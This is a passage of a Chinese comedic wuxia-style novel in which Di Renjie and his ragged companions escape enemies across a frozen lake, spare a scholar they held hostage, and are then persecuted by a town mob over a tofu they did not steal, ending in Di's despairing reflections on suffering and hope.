梅四儿双手抱头满地打滚,胡乐踉跄脚步不稳,狄宁敏捷仰身一避,马肃趁势借力打力,狄仁杰自拖着韩忠义。 此时马肃因肚饥,功力亦大减,却只是利用敌人攻来的力道回击,因此四两拨千斤,反将铁链所击方位改向了攻者自己。 眼见附着史不放外加马肃二人内劲的铁链就要打着马上三人,史不放、薛文都“哎哟”一叫,无奈力道太大,无法半路收住。 那空虚道人只袍袖一抖,自上向下击去,掌中也只微附内劲,便将铁链狠摔在了地上。 原来那铁链的一切力道尽在横向,道人便攻以竖向,遂轻而易举地压下了劲力。 那史不放、薛文呆了呆,随即叫好。 空虚道人道:“别弄死了,活捉。”说着与史不放一齐跃下马来。 狄仁杰几人这时都准备向湖面上奔去,一面拖着昏迷不醒的韩忠义、鹃儿、洪辉三人。 不料才刚退到了湖面上一步,狄仁杰、胡乐、梅四儿三人便一齐滑倒。 狄仁杰大叫一声,感到剧痛,已然骨折了。 胡乐倒没摔痛,忙爬了过去,扶着狄仁杰,惊道:“老爷,你……你死了?” 狄仁杰双手按腿,皱眉道:“没有……但快了。”又瞪着几人叫:“快走啊!” 梅四儿跪在冰上,浑身颤抖道:“阁……阁老,我们……我们完蛋了……” 胡乐瞪眼骂道:“完你妈的蛋!还不快拖着人儿走啊!” 梅四儿道:“人手不够啊!” 胡乐叫道:“狄宁!你也来!” 马肃道:“你去,我来掩护。” 狄宁过来道:“老爷怎么样?” 狄仁杰喘道:“我没事,你们快拖着人走。” 空虚道人早抽出长剑,白光闪动,耀眼生辉,纵身一跃,剑气横扫将来。 胡乐回头一见,大叫:“哎呀完啦!” 不料空虚道人的剑气直甩到了几人面前的冰面上,发出一声巨响,裂开一条大缝,中间都是流动的湖水,跨不过去了。 梅四儿差点踩了下去,忙收回脚,又滑了一跤,吓得大哭了起来。 胡乐还以为死定了,这会儿笑道:“臭道士砍歪了!” 狄宁道:“他故意的。” 史不放哈哈大笑道:“看你们往哪儿跑!” 狄仁杰叫道:“我们绕道!” 几人就欲从旁边的冰上行去,空虚道人又是一剑斜面挥来,被马肃连忙借力打力,力道疾转,在二人之间的冰面上划出了一长条裂痕。 空虚道人一惊,明知遇到劲敌,须先对付了他,再抓狄仁杰几个。 遂猛地直刺冰面上刚划出的缝隙,剑气到处,约有一丈长的坚冰登时弹了起来,冷水四溅。 空虚道人早一掌凌空击去,那坚冰便附带内劲直扑向马肃,被他双掌回击,腾空裂成了无数冰块,仿若暗器一般袭将来。 史不放大喝一声,震耳欲聋,冰块来速登时变缓,更把狄仁杰几人摔了一跤。 胡乐这么一跌,全身的重量正好压在了狄仁杰的骨折处,痛得他一声惨呼,几乎昏了过去。 胡乐忙叫:“哎哟!压到老爷了!” 忙欲起身,脚下一滑,又摔了下去,狄仁杰叫苦连天。 史不放猛挥铁链,打得冰块到处飞溅,正好飞到了胡乐头上。 胡乐刚搀起狄仁杰,突然脑勺一痛,“哎哟”一声,脚底一滑,整个人又压倒了狄仁杰。 空虚道人、史不放二人皆是高手,马肃一个人实难支撑,渐感力竭。 忽然想到马上那书生薛文,似是不会武功者。 不过他也许是深藏不露…… 没法了,只能试一试。 遂连忙抓起一把雪,捏成一小团雪球,附有内劲,朝他掷去,一面挡掉向自己攻来的招。 原来那书生真就不会武功,一中雪球,立时滚了下马,摔在地上。 空虚道人、史不放二人吃了一惊,没想到马肃会突然去袭击他们三弟。 一不留神,马肃早飞也似的奔了来,一把抓住了薛文的衣襟,另一只手掐住了他脖子,喝道:“你们退后!不然我杀了他!” 狄宁道:“有人质了!” 胡乐道:“原来这老三不会武功啊。” 狄仁杰叫道:“我们快走!” 空虚道人两个见三弟在他手中,也不敢妄动,只好放他去,叫道:“你们要是敢伤害了三弟,你们就死定了!” 那薛文竟也呆住了,只任由马肃将自己带走。 马肃带着他过来道:“狄公,我们有人质在手,倒也不怕他们。” 狄仁杰点了点头道:“让他自己走吧。” 马肃遂放开他,威胁道:“你要是敢跑,立刻就杀了你。” 薛文道:“小生不跑。” 狄仁杰道:“走吧。” 几人有的拖着人,有的被人拖,有的扶着人,有的被人扶,有的在滑冰,有的在滑倒,一齐朝湖的对岸走去。 史不放顿足道:“哎呀!怎么办啊大哥!” 空虚道人道:“他们虽暂时还不敢害三弟,可他们到底怎么想,我也说不准。”看着史不放道:“我们须设法营救。” 狄仁杰几人这时走在湖面上,因行不惯这冰路,每走几步便滑一跤,都摔得浑身疼痛,倒是那昏迷的三人要好受些。 狄仁杰虽右腿骨折,一瘸一拐的都不曾摔,倒是那扶着他的胡乐不停地在摔,害得他也得跟着一齐摔,又痛又气,直欲流泪。 狄宁一面拖着鹃儿,一面道:“胡乐是内奸。” 胡乐道:“呀,连你都这么说!” 马肃一面拖着韩忠义,一面道:“我也这么觉得。” 梅四儿知道如今几人当中就数马肃武功最高。 这时听他都这么说了,且自己又总被姓胡的欺负,遂连忙附和道:“肯定是!” 胡乐叫道:“你们什么意思!” 薛文都忍不住插口道:“狄大人都快被你给摔死了。” 胡乐叫道:“哪里摔死了!哪里摔死了!” 不料正说着,脚下突然正好踩到了湖面上那最薄的一块冰,整个碎了开来。 胡乐唬了一跳,“哎哟”一声,赶忙松开了狄仁杰。 狄仁杰不防,没收住脚,右腿立时狠攧了一下,直痛入骨髓,整个人又随着薄冰沉了下去。 另外几人大惊,赶忙来救,这里梅四儿又踩着了另一块薄冰,吓了一跳,连忙松开了洪辉。 那冰甚滑,梅四儿这么猛一松手,洪辉整个人便直滑了过来,摔进了冰冷的湖水中。 那里胡乐几个忙将狄仁杰拉了上来,见他浑身湿透,冰冷打战,将骨折之痛都忘了。 这里梅四儿坐倒在冰上,吓得动弹不得,倒是薛文赶忙跑了过来拉住洪辉双腿,这才没有整个下沉。 无奈薛文力气却不大,不但没有拉上来,自己也快跟着掉了下去,忙大叫:“何人救助!” 马肃、狄宁刚救起狄仁杰便忙赶了过来,一面谢过了薛文,跟着他一齐使劲拉。 突然胡乐也冲了来,却被地上的梅四儿绊了一跤,直滚到了马肃几人身上。 马肃几人本来都快将人拉上来了,突然后背被他猛地一撞,全都一齐摔到了水里。 狄仁杰一见大惊,连忙爬了来,伸手拉住狄宁。 狄宁一只手被狄仁杰拉着,另一只手在水中拉着薛文。 薛文一只手被狄宁拉着,另一只手拉着刚被冰水浸醒的洪辉。 薛文暗叹:“这几位可怜人岂是犯案之人的样子?他们能生存至今,实乃古往今来第一奇事……” 马肃这时一手抓冰,一手拉着胡乐。 胡乐在水中,忽见洪辉在自己下头,便忙要开口说话,却只饮进了几口冰水。 洪辉见胡乐在自己上头,也要开口说话,遂与其共饮。 狄宁气得大叫:“胡内奸要害人!” 马肃也叫:“姓胡者非内奸而何!” 胡乐刚喝完冰水,听二人这么说,气得抬头骂人,于是又喝进了几口。 狄仁杰也快抓不住了,回头叫:“梅四儿,快来帮忙!” 梅四儿一听,忙“哦”了一声,就要去,忽想:“我这时若不管他们,他们就必死无疑,那我便可一走了之,又何须再跟着他们受苦?”因此犹豫了。 狄宁、马肃骂他:“胆小鬼!” 梅四儿一听,怕救了他们以后,他们反来加害自己,于是唬得更不敢救了。 一片叫嚷中,韩忠义突然醒了来,一见了这场面,虽不知是什么情况,却也大吃一惊,叫道:“大人!” 狄仁杰几人都叫:“快来救命!” 梅四儿见韩忠义醒了,忙叫:“韩将军!我们一齐救人!”说着忙去拉马肃,被他一头撞到吐血。 韩忠义虽吃了一惊,却也无暇多问,忙跟着去拉。 他虽内功全失,然外功尚在,一下子便将双方都拉了上来。 诸人被冰水泡了个半死,又抖又喘,许久方渐平复。 都忙向韩忠义道谢。 韩忠义道:“没事儿。” 几人一听“梅四儿”都大怒。 胡乐冲过来就一巴掌打在他脸上,骂道:“你个狗玩意儿想害我们呀!” 梅四儿手按着脸哭道:“这也不能都怪我呀,是你先推他们下去的!” 几人一想,这也确是事实,遂也不好只怪他的。 胡乐怒道:“你还怪我!” 狄仁杰道:“算啦,都没事儿就好。” 胡乐大叫:“都‘梅四儿’就好!” 梅四儿双手掩面,没脸见人。 狄仁杰忙向薛文作揖道谢,薛文还了个礼。 狄仁杰又问他为何相救。 他叹道:“不好说,不好说。” 几人悄悄告诉了韩忠义、洪辉薛文是“人质”的事,二人这才明白,一齐点头。 韩忠义还纳闷:“我韩忠义武功如此高强,又何需人质呢?” 如今除了鹃儿尚未醒转,也只有狄仁杰因骨折行走不便,几人遂轮流背着他们走。 在湖面上又行了半日,几人总算是到达了对岸。 可这时放眼望去,尽是深厚的冰雪,堆积了有将及三尺多高,根本就无路可寻。 几人在一片白茫茫中都呆住了,如今是进退两难。 胡乐自是埋怨个不休,说狄仁杰“料事如神”。 狄仁杰本就腿痛心烦,听他这么一讥讽,顿时感到一阵难受,不由得哭了出来。 几人都“胡内奸”的乱骂。 薛文叹道:“罪过,罪过。施主得一管家若此,实是前世业障太重,致使今生该遭此报。” 几人都骂道:“你他妈是和尚还是书生?” 薛文道:“儒释道本是一家,又何须分什么彼此?吾大哥乃道士,二哥乃和尚……” 几人惊道:“等等!你那二哥……是‘和尚’?” 薛文道:“正是。” 几人目瞪口呆道:“就那样还是和尚呢!” 薛文道:“那样是哪样?和尚又是哪样?众生本无分别。那样即是和尚,和尚即是那样。” 几人道:“而且他也不是个光头啊,怎么就是和尚了?” 薛文双手合十道:“阿弥陀佛,善哉,善哉。佛在心里,不在头上。” 几人遂踏着冰雪,极其艰难的硬给走出了一条道来。 中途好几次陷入雪中动不得了,几人想死的心都有了。 直至天黑,方各自半死不活的上到了山顶的疏林中。 几人虽累,可这时看到了树木,都心花怒放,一齐抱住大树就啃。 狄仁杰牙齿本就松动,可这时实在是太饿了,竟没有注意,只使劲一啃,突然就感到了嘴里一阵剧痛,不由得惨呼一声。 原来狄仁杰竟把一颗门牙给崩掉了,满口鲜血直流。 狄仁杰痛得把头向前一撞,在树上猛地一磕,整个人向后就倒。 几人都大吃一惊,有的咬到了舌头,有的咬到了肉,有的脖子一扭,还有的摔了个跟斗。 都忙过来一看,只见狄仁杰满面鲜血,神情可怖。 几人一面乱叫,一面帮他擦血,见他一动也不动,似乎已经死了。 堆满了积雪的参天大树在黯淡的夜空下相互掩映,地上的雪光照亮了几人又哭又喊的神情,寂静之中回荡着几个悲惨的声音,被寒风一吹,更添凄凉。 薛文过来道:“你们,让开一点,我来看看。” 几人都喊:“滚!” 薛文道:“唉呀,滚不得。小生是人,不是球。” 洪辉哭道:“你有没有办法救救先生!” 薛文道:“我试试。” 几人遂让道。 薛文忙走了来,蹲下身,帮狄仁杰把脉。 胡乐道:“哟,你还会把脉呢。” 薛文又换另一只手,道:“我读过一些医书,略知一二。” 一时说道:“无妨,只是昏了过去。” 便使劲按了按狄仁杰虎口,又用力掐了掐他的人中。 只见狄仁杰眼皮一动,张了开来,果真苏醒了。 几人大喜,都忙称谢。 薛文笑道:“举手之劳。” 狄仁杰感到嘴里门牙缺失处兀自作痛,被几人扶着坐了起来,知道为薛文所救,便忙向他道谢。 这么一来,几人早将疲惫和饥饿忘到爪哇国去了。 狄仁杰道:“你叫……薛文?” 薛文道:“是。” 狄仁杰道:“你的两位结义兄长想要杀我,你为什么反倒救我呢?” 薛文道:“实不相瞒,我们兄弟三人之所以结义,就是为了要替远刺史和他夫人报仇。而我们几个对于你是凶手这件事更是深信不疑,因此不远千里来寻,自然就是为了要来杀你。可我今天见到了你以后……我感觉你不像是那种坏人。” 几人听了笑道:“这不又说到‘感觉’了。” 狄仁杰道:“那你……相不相信我?” 薛文道:“我也不知道。” 狄仁杰点点头,又看着他道:“谢谢你。” 薛文苦笑了一下,道:“没事儿。” 胡乐听了,东张西望道:“啊?这儿有狗吗?” 薛文道:“什么?” 胡乐道:“狗啊。” 薛文道:“狗?没有吧。” 胡乐道:“没有狗?那你干吗叫狗的名儿啊?” 薛文道:“什么狗的名儿?” 胡乐道:“你不是才说‘梅四儿’吗?‘梅四儿’不是一条狗吗?” 几人这才听明白,都忙劝他别再说了。 梅四儿也只好忍气吞声。 狄仁杰问薛文:“你此次进京赶考,也是因为远刺史之事而耽搁了?” 薛文道:“哦不,是因为……我当时身上盘费用尽了。” 狄仁杰“哦”了一声,叹道:“又是钱的事啊。”遂从包裹中取出最后的碎银子来,递给薛文道:“你拿着,到时候路上用。现在进京还来得及,休要错过了会试。你若信得过狄某,那你明天早上就走吧。希望你考中了以后,能做个好官。就算不做官,那也要做个好人。一个人只要心地善良,就没有不成的。” 适才狄仁杰拿出了剩下的所有盘费,其余几人不但没有惊讶,反而都觉得这是理所当然。 就连极在乎盘缠的胡乐也点头道:“不要辜负了咱老爷的一番心意。” 薛文先是一怔,又忙道:“这是你们的盘费,我不能收。” 见他坚决不受,狄仁杰只点了点头,道:“明天再说,我们先睡吧。” 几人遂都倚树而眠。 次日一早,阳光灿烂。 薛文睁眼醒了来,却不见了狄仁杰一行。 只觉自己身旁的雪地上闪闪发亮。 低头一看,除了那冰面的反光,还放着几两碎银子。 43. 第四十三章 命运 此去边关与破案等诸事虽不依附环境而定,却又始终难逃环境所带来的诸多琐碎之缠。 这日狄仁杰一行不辞而别,离了雪山疏林,继续赶路。 天气晴朗,暖日当暄。 几人感到身心舒爽。 再加上这一夜的好觉,竟各将昨日的疲劳与烦恼消去了大半,更添了不少精神。 胡乐却唉声叹气道:“这累是没那么累了,可这肚子它还是饿呀。” 狄宁道:“你要想象它不饿,它就不会饿了。” 洪辉一面嚼着树枝,一面递过去道:“你们再来根儿。” 二人都摇头。 狄仁杰在韩忠义背上道:“忠义,我能行,你还是放我下来吧。” 韩忠义回头道:“大人,我没事,你只管好好养伤。” 马肃道:“韩大哥,你背了狄公很久了,来,我跟你换一下。” 韩忠义道:“行,我们轮流背。” 狄仁杰道:“幸苦你们了。” 此时鹃儿也已醒转,早将自己昨日发狂之事忘却了,然脸上的那几道抓痕犹自作痛。 梅四儿自是低着头,一声也不敢吭。 行至午时,几人来到山下一小市镇,问行人去处。 那些行人见他们是叫花子,身上又脏又臭的,都不欲搭理,有的便摆摆手说声“不知道”,有的连睬都不踩便自去,还有的说:“讨饭还用管去处儿?” 几人一听都大怒,就要发作,狄仁杰连声道“算了”,方才罢。 几人这时都饿得肚子痛,正要去寻个饭馆打尖,忽皆想到:碎银子今早都已给了那书生薛文了。 胡乐突然感到又饥又躁,叫道:“哎呀!都是老爷!这装什么有钱人哪!” 狄仁杰自责道:“我……我连累了你们。” 几人正要劝慰,听胡乐又叫:“就是你连累了咱!都是你非要装什么好人,害得咱们也得跟着你一块儿受苦,他妈的!你良心过得去吗,狄大人!” 几人一听,有的惊,有的怒,有的恨,有的悲,都当街吵嚷起来。 狄仁杰哭道:“我……我对不起你们……” 韩忠义指着胡乐狂骂:“你就是个奴才!要不是你小时候大人看你可怜收养了你,你早都被人牙子给卖了!现在你非但不懂得感恩,你反倒这么数落大人,这么数落主子,你他妈的良心过不过得去!你这么忘恩负义,难道就不怕下第十八层地狱吗!” 胡乐听他这么一说,忽地记起了童年,不由得哇的一声大哭了起来,一面叫:“我对不起老爷!” 这时一堆人围在四周看热闹。 韩忠义指着胡乐怒叫:“你不嫌丢人你就哭!” 狄仁杰早从背上下了来,看着胡乐道:“胡乐,你别哭了。” 胡乐一听,哭得更厉害了,叫道:“老爷!你就原谅我吧!我这人嘴就是那么直!我真的不是故意的!” 狄仁杰道:“好好好,我原谅你。” 却说几人旁边有一卖豆腐的,因生意不好,本就心烦。 这时又见几个叫花子来聒噪,更是恼怒,遂趁众人不注意,故意将一块本来就不好了的豆腐往地下一掷,登时碎得满地都是。 那豆腐男便叫道:“哎呀!我的豆腐啊!你们几个赔我钱!” 狄仁杰几人这时本都不闹了,围观的也都已散去了。 可这会儿见几人又都闹了起来,围观的遂也又都回来了。 马肃喝道:“你放屁!我们离你那么远,怎么可能碰到你豆腐!这豆腐明明就是你自己摔的!” 豆腐男叫道:“我干吗要摔我自己豆腐!我吃饱了撑啊我!我……我……这明明就是你们几个摔的!” 洪辉叫道:“那我们干吗要摔你豆腐!” 豆腐男叫道:“我……我也不知道!我……我还想问你们呢!你们干吗要摔我豆腐!” 韩忠义道:“我们怎么就摔你豆腐了?” 豆腐男道:“这……这个……你们刚才……乱闹了时候,你们就……摔了我豆腐……” 狄宁道:“我隐约看见豆腐是你自己摔的。” 梅四儿虽也看见了,可不敢说出来。 豆腐男叫道:“不是我!是……是你们几个叫花儿!你们想趁乱偷我……豆腐,又没偷成,所以……就掉地了……你们现在还想赖呢!快赔我钱!” 围观的也都朝几人喊道:“我们也都看见了,豆腐就是你们几个偷的!你们快赔钱!” 众人虽皆如此说,然其中实则并无一人真正瞧见了那豆腐为几人所窃,反倒有几个还是见到了是那豆腐男自己丢的。 可众人只想着要看热闹,又哪管什么青红皂白? 且见狄仁杰几个不过是乞丐,没权没势的,便是欺负了又有何妨? 况自己身处人群中,亦非带头人,不过是众多欺负者之一而已,又有何惧焉? 便是出了事,此乃大伙儿一齐做的,难不成也只怪我自己一人? 跟着“众人”欺负人是何等爽快之事,事后又不必受罚。 便是那被欺负者欲寻仇,也未必就能寻得着我。 实乃天赐良机作恶,又何乐而不为? 遂皆有恃无恐,放胆欺负。 胡乐指着怒叫:“你们都是一伙儿的!你们欺负人!” 众人叫:“你们为什么要偷豆腐!你们为什么不给钱!” 洪辉叫:“我们根本就没有钱!” 众人叫:“所以说就是你们偷的!你们要真有钱了你们还会去偷吗?要是有钱了还偷那就更不要脸!” 狄仁杰道:“诸位,如果我们有钱,这块豆腐便不是我们偷的,我们也会替偷的人付的。只是如今……” 众人“啊”的一声,叫道:“老叫花儿,你都亲口承认了!你既说‘这块豆腐便不是我们偷的’,那么意思就是这块豆腐就是你们几个偷的喽?那就赔钱!” 围观的愈来愈多,见是欺负几个乞丐,便也都跟着凑热闹。 听得四周喊叫谩骂之声不绝于耳,几人感到悲愤已极。 此时便是正常人都要疯了,何况几个本就有点不正常的,又如何经受得住? 鹃儿双手捂着耳朵,感到眼前的世界在摇晃。 她瞪大了眼,环顾着四周各种各样的嘴脸,心里又酸又苦。 忍了许久,终于无力的垂下了双手,摇着头笑道:“你们太坏了。” 众人叫道:“哟!他们中间还有个娘们儿!” 遂皆更来劲了,什么样的脏话没有说出来: “看模样儿还不错啊,卖到窑子里去准能挣钱!” “哼,成日陪几个乞丐的,脏得很,没人要!” “你不要,春红院儿的老鸨要呢!” “这种剩下的,除了去当还能干吗?” “不用‘去当’,人家已经是了!” 都哄然大笑。 狄仁杰几人直气得语塞,只是瞪着个眼,连骂都骂不出声了。 众人见鹃儿哈哈大笑,都笑指她道:“嘿!你们瞧,她还笑呢!果然很骚!” 只见鹃儿笑着笑着就哭了。 狄仁杰气得想吐血都吐不出来,忽见马肃脸露凶色,忙叫:“不要伤人!” 胡乐、洪辉二人狂叫一声,朝众人直扑将去。 众人吃了一惊,大叫:“叫花儿疯啦!” 二人确如疯了一般,抓住谁就打,却被众人一齐摁在地上狠揍,又被当作球一般的踢了回来。 那豆腐男见他们被众人欺负了,心里自是畅快,又怕招惹是非,遂趁众人不注意,连忙带着豆腐跑了。 众人中许多虽瞧见了,却也并不在意,只为各自因欺负了人而得到的满足欢喜快乐。 这时韩忠义突然跪了下来,在场之人皆是一怔。 胡乐、洪辉二人鼻青脸肿,体无完肤,在地上大叫:“不能跪!” 马肃、狄宁也叫:“跪不得!” 狄仁杰忙欲扶他道:“忠义,你快起来……” 只见韩忠义脸上似喜似悲,平静地说道:“我这辈子只跪过三个人:一个是大人,一个是皇上,还一个……便是命运。我现在,也是平生第一次,正在向命运下跪。啊,命运……噗哈哈哈哈哈……命运。” 众人一听这“皇上”二字,竟皆呆了,都面面相觑,害怕了起来。 一片寂静中,韩忠义仰天叹道:“我们人在世上,在时空的局限当中,在这肉身的捆绑里面,哪里又有什么自由?都是身不由己。我们,都是,欲望的奴隶,命运的降服者,哈哈,罪恶的同谋。虚空啊,都是虚空。纵使起初的理想再为高尚,内心的渴求又是何等的执着,然在这无尽的日光之下,也终将化为泡影,就像这个现实的大漠,里面数不清的沙粒,它们都是那么的渺小,那么的无迹可寻……”说着霍地跳起身叫道:“就像金刚经上所云:‘一切有为法,如梦幻泡影,如露亦如电,应作如是观’!你们听明白了没有啊?是你们,你们!你们!” 唬得众人目瞪口呆,登时散去了不少。 狄仁杰几人都含泪劝,听韩忠义大叫:“我知道!你们都看我是疯子,可我不是!我没有疯!我是个正常人!我甚至比你们每一个人都要正常得多!我很清醒,我比你们每一个人都要清醒!呵呵呵呵呵……你们……你们没有一个人明白我,因为你们都不愿意听真话。你们干吗,你们干吗,你们干吗!你们不许走!我不许你们走!” 这时围观的都已散去,有些人只躲在远处偷看。 韩忠义兀自手舞足蹈地狂叫:“我也想做人!可是我没有这个机会!你们都不明白我心中的那个大志,那个大到你们都没有办法想象的志向!我心灵里的那个远大被外在的身体所束缚,它被限制了!我施展不了我的能力!我的那些抱负,那些理想,全都是他妈的一场空!因为我心有余,可是我又力不足!你们啊,你们根本就不懂得珍惜那生命之可贵。像我,我也迷茫,我也绝望,但是我没有说出来。我心中的那些话,我也想说,但是没有人懂!你们这些恶人!你们有谁看到了我的挣扎?我从肉身到心灵的那些痛苦,你们谁能理解?如果我不受限制,我肯定比你们都强!你们看看那个天空,它是多么的高啊!你们再看看你们自己,你们是多么的渺小!我是个人!可是我连个畜生也不如!你们看看这些人,这些事,这些琐碎,这些伟大!它们都缠绕着我,折磨着我,嘲笑着我!为什么!一个人的生命还不如死亡?我是谁?我为什么活着?你为什么让我活着?我不是人!我也想做人!‘大丈夫生于乱世,当带三尺之剑,立不世之功!今我所志未遂,又奈何而死!’为什么!你告诉我!为什么!……” 此后大街小巷都传:“有八个叫花儿疯子偷人豆腐还当街打人发癫,大伙儿都要注意了,最好能拿住他们送官儿,为民除害。” 八人于是连要饭都要不着,还成为了众矢之的,使众喜欺负人者正好有的放矢。 遂想了个“分开要饭”之法,却也无用。 只因众人本就厌恶乞丐,这么一来,还管你是八个人一齐要,还是几个人分开要,只要是“乞丐”,那就别想要到饭! 几人便如过街老鼠一般,被千夫所指,万人唾骂,几无容身之地。 一面到处乱窜,四周时不时就飞来唾沫,还夹杂着冷嘲热讽,侮辱谩骂。 街上行人打你一拳,推你一跤,踹你一脚,又笑你一笑,比比皆是。 几人司空见惯了以后,逆来顺受,不但不反抗,实连反应的力气都没了,只感到身心俱惫,生无可恋。 这时都已是饿得浑身瘫软,齐坐在混着残雪和烂泥的街道上,再也起不来、动不得了。 狄仁杰跟其余几人一般,身上的衣服裤子都破了洞。然其余几人至少身体还没有自己这般羸弱,因此皆勉强没有饿死、冻死、病死、老死、难受死。自己虽也还没死,可感觉活着比死了还难受,真恨不得一死了之。可又不知为什么,总觉得自己并非没有勇气去死,而是生命中还始终保留着那么一丝希望,好像正在前头等待着自己,更激励我:你要勇敢地活下去。 狄仁杰掩住了面,不让几人看见,悄悄地流了满脸的泪。那右腿骨折处因长时遭受风寒,感到剧痛无比。那腰背亦是痛得连直都直不起来。浑身上下,除了牙齿是因为寒冷而咯咯直响,其余皆是疾病面前胆怯的幸存者,屈服于痛苦而未亡的奴隶,尤其是那双手和那双腿,尽都不由自主地下跪,虽然看似也只是不停地在颤抖,就像那正在经历风吹雨打的小树叶一般,仍旧顽强地挂在枝上,既想靠着自己那渺小的能力去度过一切来自环境和自身的患难,而同时却又因为目睹了自己身旁如希望般的同伴都已经一个个的被吹散了的事实而惊惶,最后就只剩下了自己一个,一个薄弱而又不堪一击的存在,竟然要去孤独地面对那自然凶狠的摧残,还伴随着那永无尽头的挣扎和不知风雨几时休止的迷茫,更充斥着四面八方针对自己的乌烟瘴气的诽谤,又该要如何坚持下去?或许也只有去相信那前景所应许的美好,等待着那希望不久后的降临。 只要咬紧牙关,忍受苦难,跨过了那生命中诸多时刻里最艰难的一道坎,迎面而来的便是绚烂的彩虹和温暖的阳光。 虽然此刻狄仁杰兀自感到全身都快要脱节了,而且眼睛胀痛,喉咙肿痛,耳朵闷痛,神经刺痛,肌肉酸痛,肠胃绞痛,门牙缺痛,肺部又痒又痛,咳得胸口都快要炸裂,还有那数不清的疾病正在尽情地折磨着自己的肉身,一直延伸到了自己的精神,最后再彻彻底底地侵蚀掉自己的灵魂…… 这一切,都会过去的,对吗? 狄仁杰不由得一连声苦笑,又缓缓地环顾了一下几人,似乎期盼着他们此刻有谁能够安慰一下自己,就像平日里一样。 其实在平日里,自己根本就不需要他们的安慰,也并不会去在乎到底有没有人来安慰自己。 有时候听到他们的安慰,我反倒会觉得有些烦。我会觉得,怎么他们总是在安慰我呢?他们是在安慰吗?还是正在讥讽嘲笑呢?你们难道真的以为我很软弱吗?难道没有你们的那几句什么安慰,我就真的活不了了吗?我难道是靠安慰活下来的?我真的有那么软弱?然此刻竟果真异常软弱,只希望他们说几句类似“一切都会好的”的话,自己听了以后心里或许会好受些,虽然身体尚痛,却也可聊以慰藉啊。可是……怎么这种需要的时候……偏生就没人安慰呢? 狄仁杰又自嘲地苦笑起来。 其实几人若是见到了他一脸悲伤的模样,自然是会来安慰他的。 可此时几乎每一个人都呆了、傻了、疯了,所以并无一人注意到狄仁杰满面的泪痕,更不会去在意他此时急需安慰的心情。 其中韩忠义、鹃儿二人自是精神失常,时哭时笑,疯话连篇,嘟嘟囔囔,皆可想而知。 这会儿胡乐眼睛瞪得大大的,双手不停地搓着脏雪,嘴里神经质地、飞快地重复说道:“人是铁那个饭是钢,不用医生开药方。冬吃萝卜夏吃姜,那个一顿不吃饿得慌……” 洪辉饿得眼睛都快睁不开了,轻轻摇头道:“胡乐哥,我也想吃……” 胡乐迅速地看了他一眼,道:“你要干吗,你别吃我啊……” 洪辉半死不活道:“不吃你,吃猪。” 胡乐瞪眼道:“猪,我也想吃猪……猪……人怕出名猪怕壮,死猪不怕开水烫。” 又嘿嘿一笑道:“听说前世有位猪长老,跟着个唐玄奘西天取经,不知道他们到了没有……” 马肃、狄宁二人只是低着个头不说话,偶尔却也叹一口气。 梅四儿紧皱着眉头,悔恨地想道:“本以为跟了他们能够立刻飞黄腾达,没想到还更倒霉了。嗐,我当初为了……要不是为了我妈,挣点儿碎银子,我又干吗要去当什么御林军?我干吗要去运送什么狗屁军粮?我又怎么会掉下了悬崖,跟着这几个人……发配边疆受苦……” 天色渐暗,这条街没什么人经过,只有那冷风不停地在刮。 几人仍似那霜打的茄子,蔫在了路上。 狄仁杰又恍恍惚惚地胡思乱想了起来...... ...... 当人有痛苦的时候,他就想倾诉。 当天地间没有出路的时候,人就想孤独。 我害怕看见一丝丝的希望,因为我担心它又会落空。 就像黑夜里的繁星,总会在黎明时分一个个的消散。 我曾在黑暗中看见它们的明亮,但转瞬即逝。 就好像夜空中划过的流星,只是眨眼间的事。 那是真实的,也是虚假的。 真在它们确实存在过,就像我一样。 假如真实被隐藏的时候,我也同时失去了存在的意义。 存在,本身就没有意义。 存在的意义,在于去寻找意义的本身,而又找不到。 如果找到了,它就像一朵美丽的花,要在你连根拔起的时候,彻底地凋谢了。 这就是命运的无常,也是人间的实际。 当我们徘徊在真假之间时,我们已经被那看不见的推动力完全地迷惑了。 这是只可意会,不可言说的。 因为人的语言在这些虚空的面前,既显得无力,也显得虚伪,更显得无助。 再美的词句,也解决不了任何一个摆在你面前的困境。 你被困其中,也无法自拔。 你只能在孤独里面自己一个人寻找解脱。 最后你会发现,一切还是取决于你的心。 面对不同的环境,心境也是一境。 只是心境不可见,不可触,非常地玄,似乎还不如能看得见、摸得着的,所谓现实中的真实的环境真实。 这就是活在世上,最大的矛盾。 这个矛盾存在于自身之上,比之环境这种外界而来的压迫更为鲜明。 身心灵之间的冲突,永远存在,哪怕有一天环境都没了,你自己又显露出了它的真相,那就是,它自己就是最大的环境,和永远跨不过去的鸿沟,相对于你自己而言。 所以,内外其实终极说来,甚至都不存在区别,只有你自己投影的无穷无尽的幻象,一直在时空中变更。 这是真假之间最后的对立,身心相对时不解的冲突。 当你身体经历痛苦之时,你的心灵同样遭受折磨。 心灵里面受苦的时候,身体也要承受着相同的压力。 似乎世间万物非止人而已,都在经历着,或者对于已故的解脱者来说,谓之经历过,这同样的感受。 感受来自外力,亦出自内心。 二者相互并存,都是极为真实的存在。 但心灵中的痛苦似乎还可排解,反之,身体上的难受则异常显著,并且还毫无解决的方案。 如果身体上的痛苦真的能够解决,我宁愿我的心灵承受比如今大一万倍的痛苦,我亦毫无怨言。 但是,这不可能。 因为心灵这个内在的东西反倒是无限的,它超越了时空,超越了一切,甚至超越了它自己的本身,达到了你自己的身体穷极一生都无法企及的顶级高度。 而身体则不同,它非但不是无限的,而且还遭受了无限的限制,被永永远远地围困在了现实的囹圄当中,做着你的思维深处都不想低头却还是不得不低头的无耻的奴隶,而又毫无羞耻感! 是的,外在的束缚,束缚了我这个可耻的软弱无能的身体,更是限制了我有着远大志向的心灵! 它们的苦似乎是相通的,因为我的身体很痛苦,直接就影响到了我的心灵。 我心里面因为无助的痛苦而欲哭泣,因而我身体可见的双眼便流泪了。 但是泪水也是空,极度的空虚,就如清晨的甘露,在美丽的花草上停留片刻,又要在日光猛烈的照射之下,消散得无影无踪,再也看不见了。 还有那黑夜里的烟火,是多么的光彩绚烂,但是当你开始感叹它的美丽的同时,它就没了! 它散去了,好像我深埋心底一点点一滴滴的梦想,它们都走了。 走得越来越远,直到我向它们狠命地奔跑,也再也看不见了。 这是绝望。 什么是真正的绝望? 就是看不见一丁点的希望。 希望是什么? 希望或许确实存在,存在于绝望的尽头吧。 ...... 就在几人即将饿死之际,远处恰巧走来一人,因见他们可怜,顿时心生悲悯,走近前来,要与他们些钱。 